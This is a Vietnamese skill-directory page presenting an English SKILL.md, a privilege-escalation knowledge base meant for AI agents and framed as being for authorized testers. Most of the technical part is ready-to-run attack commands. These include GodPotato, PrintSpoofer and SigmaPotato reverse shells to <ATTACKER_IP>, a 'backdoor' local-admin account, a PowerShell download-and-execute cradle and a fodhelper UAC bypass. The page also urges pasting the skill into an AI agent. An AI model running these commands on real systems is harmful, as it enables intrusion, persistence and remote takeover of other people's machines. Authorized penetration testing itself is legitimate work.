privilege-escalation
Skill này làm gì
Cơ sở kiến thức này bao quát cách một tài khoản có quyền thấp có thể đạt quyền cao hơn trên hệ thống Windows và Linux. Dành cho người phòng thủ và người kiểm thử được ủy quyền rà soát cài đặt đặc quyền.
Khi nào nên dùng
- ✓Khi một bài kiểm tra được ủy quyền bắt đầu từ một tài khoản có quyền thấp và cần tìm đường đến quyền admin.
- ✓Khi một nhóm rà soát các tài khoản dịch vụ Windows có quyền mạo danh.
- ✓Khi một nhóm Linux muốn kiểm tra sudo, file quyền đặc biệt và phiên bản kernel.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi có một tài khoản quyền thấp trên một trong các máy chủ Windows. Bạn có thể kiểm tra xem nó có thể đạt quyền admin không, trong phạm vi kiểm thử của chúng tôi?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent trước hết chạy liệt kê các cài đặt đặc quyền, rồi kiểm tra những đường đi có khả năng nhất như quyền dịch vụ và quyền mạo danh, và báo cáo những đường cần sửa.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Privilege Escalation Knowledge Base
Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.
Quick Reference
# Windows — GodPotato (service account → SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Windows — PrintSpoofer (service account → SYSTEM)
PrintSpoofer.exe -i -c cmd
# Windows — winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt
# Linux — linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt
# Linux — find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt
# Linux — check sudo privileges
sudo -l
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|---|---|
| T1134.001 | Token Impersonation/Theft | GodPotato, PrintSpoofer, SigmaPotato |
| T1548.002 | Bypass UAC | fodhelper.exe, eventvwr.exe, CMSTPLUA COM |
| T1574.001 | DLL Search Order Hijacking | Custom DLL placement |
| T1068 | Exploitation for Privilege Escalation | Kernel exploits, linux-exploit-suggester |
| T1053.003 | Scheduled Task/Cron | Writable cron scripts, PATH injection |
1. Windows Token Impersonation — Potato Family
GodPotato (Most Versatile)
# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"
# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"
# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
GodPotato Details:
- Works on Windows 8 through 11, Server 2012 through 2022
- Exploits DCOM (Distributed COM) OXID resolver
- Requires:
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege - Common contexts: IIS AppPool, SQL Server, service accounts
PrintSpoofer (Print Spooler Named Pipe)
# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd
# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# With PowerShell
PrintSpoofer.exe -i -c powershell.exe
PrintSpoofer Details:
- Works on Windows 10, Server 2016 and 2019
- Exploits Print Spooler service named pipe impersonation
- Requires:
SeImpersonatePrivilege - May fail if Print Spooler service is disabled (hardened environments)
SigmaPotato (Extended GodPotato Fork)
# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444
# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"
# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"
SigmaPotato Details:
- Extended OS support beyond GodPotato
- Uses .NET reflection for flexibility
- Same prerequisites:
SeImpersonatePrivilege
Choosing the Right Potato
| Tool | OS Range | Method | Best For |
|---|---|---|---|
| GodPotato | Win 8-11, 2012-2022 | DCOM OXID | Default choice, widest support |
| PrintSpoofer | Win 10, 2016-2019 | Print Spooler pipe | When Spooler is running |
| SigmaPotato | Extended range | DCOM + .NET reflection | GodPotato alternative |
| JuicyPotato | Win 7-10, 2008-2016 | DCOM BITS | Legacy systems only |
| RoguePotato | Win 10 1809+, 2019 | OXID + RPC | When OXID resolver patched |
Check Prerequisites
# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)
2. UAC Bypass Techniques
fodhelper.exe Bypass
# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
# Trigger UAC bypass
fodhelper.exe
# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f
Câu hỏi thường gặp
Vì sao phải liệt kê trước?
Hướng dẫn nói các kiểm tra tự động cho thấy đường đi nhanh nhất, nên người kiểm thử không phải đoán.
Mạo danh token là gì?
Đó là khi một tài khoản dịch vụ có thể nhận quyền của phiên đăng nhập khác, và hướng dẫn coi đây là rủi ro phổ biến.
Người phòng thủ giảm rủi ro thế nào?
Hạn chế quyền mạo danh, vá hệ thống và gỡ các quyền đặc biệt không cần thiết.
Chi tiết
Mô tả gốc của tác giả
Host privilege escalation — Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID/sudo/kernel exploits, automated enumeration.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14138
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.